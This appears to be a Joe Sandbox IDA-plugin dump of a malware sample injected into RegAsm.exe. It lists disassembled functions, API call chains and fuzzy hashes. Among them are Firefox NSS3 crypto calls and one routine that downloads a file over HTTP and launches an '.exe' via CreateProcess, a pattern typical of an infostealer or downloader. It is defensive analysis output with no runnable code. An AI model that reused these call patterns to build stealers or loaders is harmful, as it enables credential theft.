Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: 3db13e57048723b315566579b909b692553064747e060242769a59a3c742199a
Instruction ID: c2ff2a2218bafb774fafb4c1413c7351c2d7bbbadfa7782da75b19da9af7b24f
Opcode Fuzzy Hash: 3db13e57048723b315566579b909b692553064747e060242769a59a3c742199a
Instruction Fuzzy Hash: 6321E4B2D002188BEB10DF64D8055EEB7B8EF15218F5A4068DC44BB700FB31BA49CBE1

Function 6C20ECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6C20F0AD,6C20F150,?,6C20F150,?,?,?), ref: 6C20ECBA

Part of subcall function 6C210FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C1B87ED,00000800,6C1AEF74,00000000), ref: 6C211000
Part of subcall function 6C210FF0: PR_NewLock.NSS3(?,00000800,6C1AEF74,00000000), ref: 6C211016
Part of subcall function 6C210FF0: PL_InitArenaPool.NSS3(00000000,security,6C1B87ED,00000008,?,00000800,6C1AEF74,00000000), ref: 6C21102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6C20ECD1

Part of subcall function 6C2110C0: TlsGetValue.KERNEL32(?,6C1B8802,00000000,00000008,?,6C1AEF74,00000000), ref: 6C2110F3
Part of subcall function 6C2110C0: EnterCriticalSection.KERNEL32(?,?,6C1B8802,00000000,00000008,?,6C1AEF74,00000000), ref: 6C21110C
Part of subcall function 6C2110C0: PL_ArenaAllocate.NSS3(?,?,?,6C1B8802,00000000,00000008,?,6C1AEF74,00000000), ref: 6C211141
Part of subcall function 6C2110C0: PR_Unlock.NSS3(?,?,?,6C1B8802,00000000,00000008,?,6C1AEF74,00000000), ref: 6C211182
Part of subcall function 6C2110C0: TlsGetValue.KERNEL32(?,6C1B8802,00000000,00000008,?,6C1AEF74,00000000), ref: 6C21119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6C20ED02

Part of subcall function 6C2110C0: PL_ArenaAllocate.NSS3(?,6C1B8802,00000000,00000008,?,6C1AEF74,00000000), ref: 6C21116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6C20ED5A

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: 1e4ead622d26c57925889f036addc2ff31024c0e53020f1fbb18b4b917d62571
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: FC21CFB5E007469BE700CF25D944B52B7E8EFA5309F25821AAC1C87A61EB70E5D4C6D0

Function 6C23EDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6C227FFA,?,6C229767,?,8B7874C0,0000A48E), ref: 6C23EDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6C227FFA,?,6C229767,?,8B7874C0,0000A48E), ref: 6C23EDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6C227FFA,?,6C229767,?,8B7874C0,0000A48E), ref: 6C23EE14

Part of subcall function 6C210BE0: malloc.MOZGLUE(6C208D2D,?,00000000,?), ref: 6C210BF8
Part of subcall function 6C210BE0: TlsGetValue.KERNEL32(6C208D2D,?,00000000,?), ref: 6C210C15

memcpy.VCRUNTIME140(?,?,6C229767,00000000,00000000,6C227FFA,?,6C229767,?,8B7874C0,0000A48E), ref: 6C23EE33

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: 09651d523c9247505a8e8f74e9a72560a0f45c7a551a9f6010e5350354c9693b
Instruction ID: 323210463dbaeefe443faafa1ce1afff6edec7272dfc5967b17f270a05061da8
Opcode Fuzzy Hash: 09651d523c9247505a8e8f74e9a72560a0f45c7a551a9f6010e5350354c9693b
Instruction Fuzzy Hash: 8B1198F560071E6BD7109E65DC84B06B358EF0435DF104535ED1D82A40E330E868C7E1

Function 6C1D8DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C1D8DE7
EnterCriticalSection.KERNEL32 ref: 6C1D8DFC
PR_Unlock.NSS3 ref: 6C1D8E2D
PR_SetError.NSS3 ref: 6C1D8E49

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 90bc85cfc6442cf4e1dace5760eb41e788f01913fc2d038a4be86ec397e74634
Instruction ID: 71caf17d7997b375f9b24acfc1b717665014203641a18f12149db20479e432fa
Opcode Fuzzy Hash: 90bc85cfc6442cf4e1dace5760eb41e788f01913fc2d038a4be86ec397e74634
Instruction Fuzzy Hash: A1118C75605A059FD700AF78D4882AABBF4FF05714F02496ADC88D7B00E730E8A4CBD2

Function 6C25AC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6C245F17,?,?,?,?,?,?,?,?,6C24AAD4), ref: 6C25AC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6C245F17,?,?,?,?,?,?,?,?,6C24AAD4), ref: 6C25ACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6C24AAD4), ref: 6C25ACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6C24AAD4), ref: 6C25ACDB

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: ac2a84d76c8784569d9e8a5648ee858e9a3c8f9fb3b8b4af1568b0f1fcbbf95d
Instruction ID: 282de213566e2211bf08b6fee1f066778f371f6e1858fdbc2416e6b1d8dd19b3
Opcode Fuzzy Hash: ac2a84d76c8784569d9e8a5648ee858e9a3c8f9fb3b8b4af1568b0f1fcbbf95d
Instruction Fuzzy Hash: F9015EB5701B069BE750DF29E90A753B7E8FF0066AB504839E85AC3E10E731F065CBA1

Function 00410CC0 Relevance: 6.0, APIs: 4, Instructions: 39memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,Version: ,004365B6,?,?,?), ref: 00410CD8
HeapAlloc.KERNEL32(00000000), ref: 00410CDF
GetLocalTime.KERNEL32(?), ref: 00410CEB
wsprintfA.USER32 ref: 00410D16

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocLocalProcessTimewsprintf
String ID:
API String ID: 1243822799-0
Opcode ID: 65de17affa0f79a842747a4c3c5e343ab38b15a366359e5ae5812b3013218cb8
Instruction ID: e190bc37c823235fb8ced928af2ad1aafbd9c26af4b3bf85c593baf749f83082
Opcode Fuzzy Hash: 65de17affa0f79a842747a4c3c5e343ab38b15a366359e5ae5812b3013218cb8
Instruction Fuzzy Hash: A1F031B1900218BBDF14DFE59C059BF77BDAB0C616F001095F941E2180E6399A80D775

Function 6C2CCC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6C2CCC61
free.MOZGLUE ref: 6C2CCC6E
DeleteCriticalSection.KERNEL32(?), ref: 6C2CCC80
free.MOZGLUE(?), ref: 6C2CCC87

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: e9db60b1299d2614684d02722c5addbc7972c8211e5701036d94d9c594820524
Instruction ID: d6241d24f2cd501f63c893e8a133685f64a9cd7e1cac7c7c418882c45e33ac58
Opcode Fuzzy Hash: e9db60b1299d2614684d02722c5addbc7972c8211e5701036d94d9c594820524
Instruction Fuzzy Hash: 99E030767006089BCA10EFA8DC4488677ACEE49270315052AE691C3740D331F905CBA1

Function 00412BB9 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 124processCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,004175EA), ref: 00410538

Part of subcall function 00405237: GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040527E
Part of subcall function 00405237: RtlAllocateHeap.NTDLL(00000000), ref: 00405285
Part of subcall function 00405237: InternetOpenA.WININET(?,00000000,00000000,00000000,00000000), ref: 004052A7
Part of subcall function 00405237: StrCmpCA.SHLWAPI(?), ref: 004052C1
Part of subcall function 00405237: InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 004052F1
Part of subcall function 00405237: HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00405330
Part of subcall function 00405237: InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00405360
Part of subcall function 00405237: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040536B

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,004366FB,?), ref: 00411C79

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175B2,004366D6), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

Part of subcall function 00412446: CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,?,?,00414A56), ref: 00412460

_memset.LIBCMT ref: 00412CA8
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000020,00000000,00000000,?,?,00436708), ref: 00412CFA

Strings

.exe, xrefs: 00412C05

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$Internet$CreateHeapHttpOpenProcessRequestlstrcat$AllocateConnectFileOptionSendSystemTime_memsetlstrlen
String ID: .exe
API String ID: 2831197775-4119554291
Opcode ID: 6d59370450b68c5588a5491b7917b05f2d9be07f111fede00a4eb3eb3c6503eb
Instruction ID: 88d398ddf995f26be012042af52e313b9aca7b7c3a701b446fc0f5904181aba7
Opcode Fuzzy Hash: 6d59370450b68c5588a5491b7917b05f2d9be07f111fede00a4eb3eb3c6503eb
Instruction Fuzzy Hash: CD416272A00109BBDF11FBA6ED43ADE7775AF44308F51003AF900B7191D6B86E898AD9

Function 6C204D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C204D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6C204DE6

Strings

%d.%d, xrefs: 6C204DDE

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: caabbd4334fa6c2ce0003f45c4f1ff38325e5b50dcba41e43c9f3fe854f5faef
Instruction ID: fd8251d871e647d320a67dc52afee14a4793752d858182c9590374e38f0cf117
Opcode Fuzzy Hash: caabbd4334fa6c2ce0003f45c4f1ff38325e5b50dcba41e43c9f3fe854f5faef
Instruction Fuzzy Hash: 8531EAB6E0021D6BFB109BA19C05BFF7768EF45308F05046AED159B781EB709915CBA1

Function 0040F093 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0040F0D6
_memmove.LIBCMT ref: 0040F104

Strings

string too long, xrefs: 0040F0D1

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Xinvalid_argument_memmovestd::_
String ID: string too long
API String ID: 256744135-2556327735
Opcode ID: 526ee4de964fb5d589eb1952b65eb729e1d0c4420e9104a9b73aaf5da7a4f5db
Instruction ID: 04e8fe09cc208830721d2fa856964c80f4976a83ce7786001175bb2c16001aed
Opcode Fuzzy Hash: 526ee4de964fb5d589eb1952b65eb729e1d0c4420e9104a9b73aaf5da7a4f5db
Instruction Fuzzy Hash: 4411E371300200AFDB24DE2DD840929B36AFF81314714013FF901ABBC2C779EC59C29A

Function 00413408 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 0041342E
strtok_s.MSVCRT ref: 00413489

Part of subcall function 00410549: lstrlenA.KERNEL32(?,?,0041713D,004366CF,004366CE,?,?,?,?,00418558), ref: 0041054F
Part of subcall function 00410549: lstrcpyA.KERNEL32(00000000,00000000,?,0041713D,004366CF,004366CE,?,?,?,?,00418558), ref: 00410581

Strings

kwA, xrefs: 00413420, 00413423

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: strtok_s$lstrcpylstrlen
String ID: kwA
API String ID: 348468850-3664143332
Opcode ID: 9d10b29143e406cac146972d54869ef80d4cc356ae14c0b3f7a7ce2584d81b1c
Instruction ID: c63ec6ea2d75102e8c7550abb2625962a9b830d15b1fb37340798ba1fc4ecbcb
Opcode Fuzzy Hash: 9d10b29143e406cac146972d54869ef80d4cc356ae14c0b3f7a7ce2584d81b1c
Instruction Fuzzy Hash: 44115B72904119BBCB01DF95D981EDAB7B8EB18305F104056ED09E7291E778EE898BA4

Function 00411ECF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00411EF9

Strings

image/jpeg, xrefs: 00411F21

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: malloc
String ID: image/jpeg
API String ID: 2803490479-3785015651
Opcode ID: 4118f75b9caf0c04e5c39615f1a97a8698a4536d0e361e39009bfdf822943e34
Instruction ID: 5b3484614e0f57ae27ea9285cdb582941120b57c2dbe21fee884a8722dee9e85
Opcode Fuzzy Hash: 4118f75b9caf0c04e5c39615f1a97a8698a4536d0e361e39009bfdf822943e34
Instruction Fuzzy Hash: BE11A172910108FFCB10DFA5CD848DEBF7AFE05361B21026BEA11A32A0D7769E81DA54

Function 0040F128 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0040F13E

Part of subcall function 0042EC15: std::exception::exception.LIBCMT ref: 0042EC2A
Part of subcall function 0042EC15: __CxxThrowException@8.LIBCMT ref: 0042EC3F
Part of subcall function 0042EC15: std::exception::exception.LIBCMT ref: 0042EC50

Part of subcall function 0040F238: std::_Xinvalid_argument.LIBCPMT ref: 0040F242

_memmove.LIBCMT ref: 0040F190

Strings

invalid string position, xrefs: 0040F139

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_std::exception::exception$Exception@8Throw_memmove
String ID: invalid string position
API String ID: 3404309857-1799206989
Opcode ID: d4f6ee028e61c2b85391c548165db34415f6c2233bb2bffdfead38ae00e1ba41
Instruction ID: 8aa0a51fd2354cbf642841cb34f3a852651f4382fdb760275bc092a1937eab51
Opcode Fuzzy Hash: d4f6ee028e61c2b85391c548165db34415f6c2233bb2bffdfead38ae00e1ba41
Instruction Fuzzy Hash: 5711E131304210EBDB24DE6DD8809597366AF45324744063BF815EFAC2C33CED49879A

Function 0040F34D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0040F35C

Part of subcall function 0042EC15: std::exception::exception.LIBCMT ref: 0042EC2A
Part of subcall function 0042EC15: __CxxThrowException@8.LIBCMT ref: 0042EC3F
Part of subcall function 0042EC15: std::exception::exception.LIBCMT ref: 0042EC50

memmove.MSVCRT(0040EEBE,0040EEBE,C6C68B00,0040EEBE,0040EEBE,0040F15F,?,?,?,0040F1DF,?,?,?,75920440,?,-00000001), ref: 0040F392

Strings

invalid string position, xrefs: 0040F357

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
